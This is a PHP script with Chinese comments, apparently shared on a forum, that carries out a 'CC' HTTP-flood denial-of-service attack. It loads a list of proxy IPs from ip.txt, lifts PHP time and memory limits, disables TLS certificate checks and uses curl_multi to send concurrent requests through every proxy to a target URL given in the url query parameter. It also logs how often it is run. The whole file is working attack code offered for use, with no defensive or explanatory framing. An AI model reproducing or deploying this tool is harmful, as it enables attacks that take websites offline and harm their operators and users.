[PHP] 纯文本查看 复制代码 <?php
set_time_limit(360000); //执行时间无限
ini_set('memory_limit', '-1'); //内存无限
Get_Census();//调用次数记录
//记录使用次数
function Get_Census(){
include __DIR__.'/count.php';
$var1 = $count+1;
$data = '<?php
$count = '.var_export($var1,true).';
?>';
file_put_contents(__DIR__."/count.php",$data);
}
function StCc($url,$ip){
$type = 'http';
$cUrl = curl_init();
curl_setopt($cUrl, CURLOPT_URL, $url);
curl_setopt($cUrl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($cUrl, CURLOPT_TIMEOUT, 3);
curl_setopt($cUrl, CURLOPT_PROXY, $ip); //做代{过}{滤}理的ip和端口
//if($type=='https'){ //不使用证书
curl_setopt($cUrl, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($cUrl, CURLOPT_SSL_VERIFYHOST, FALSE);
//}
curl_exec($cUrl);
//$pageContent = trim(curl_exec($cUrl));
curl_close($cUrl);
}
//$requestUrl = 'http://baidu.com';
/*while ( requestUrl) {
StrCc($requestUrl,10);
}*/
//启动功能
function StrCc($url,$time){
$data_str=file_get_contents("ip.txt");
$data_ip=explode(PHP_EOL,$data_str);
$n = count($data_ip);
$shuz = array();
//初始化线程
for($i=0;$i<$n;$i++){
$item = curl_init();
curl_setopt($item, CURLOPT_URL, $url);//访问地址
curl_setopt($item, CURLOPT_RETURNTRANSFER, 1);//参数为1表示传输数据,为0表示直接输出显示
curl_setopt($item, CURLOPT_TIMEOUT, $time);//设置curl允许执行的最长秒数
curl_setopt($item, CURLOPT_PROXY, $data_ip[$i]); //做代{过}{滤}理的ip和端口
curl_setopt($item, CURLOPT_HEADER, 1); //设定是否输出页面内容
array_push($shuz,$item);
}
//得到批量处理句柄
$mh = curl_multi_init();
//添加句柄到批量处理句柄中
for($i=0;$i<$n;$i++){
curl_multi_add_handle($mh,$shuz[$i]);
}
//初始化
$still_running = null;
/*do{
//运行当前CURL句柄子链接
curl_multi_exec($mh,$still_running);
}while($still_running);//still_running标识符,用于判断操作是否仍在执行*/
do{
$mrc = curl_multi_exec($mh,$still_running);
} while ($mrc == CURLM_CALL_MULTI_PERFORM); while ($still_running and $mrc == CURLM_OK) { if (curl_multi_select($mh) != -1) { do { $mrc = curl_multi_exec($mh, $still_running); } while ($mrc == CURLM_CALL_MULTI_PERFORM); } }
//得到结果
for($i=0;$i<$n;$i++){
$data_tv = curl_multi_getcontent($shuz[$i]);
$Num = $i;
}
//移除句柄
for($i=0;$i<$n;$i++){
curl_multi_remove_handle($mh,$shuz[$i]);
}
//关闭批量句柄
curl_multi_close($mh);
for($i=0;$i<$n;$i++){
curl_close($shuz[$i]);
}
//输出执行数量
echo $Num;
}
//传入访问地址
if (isset($_GET['url'])&&$_GET['url']!='') {
StrCc($_GET['url'],5);
} |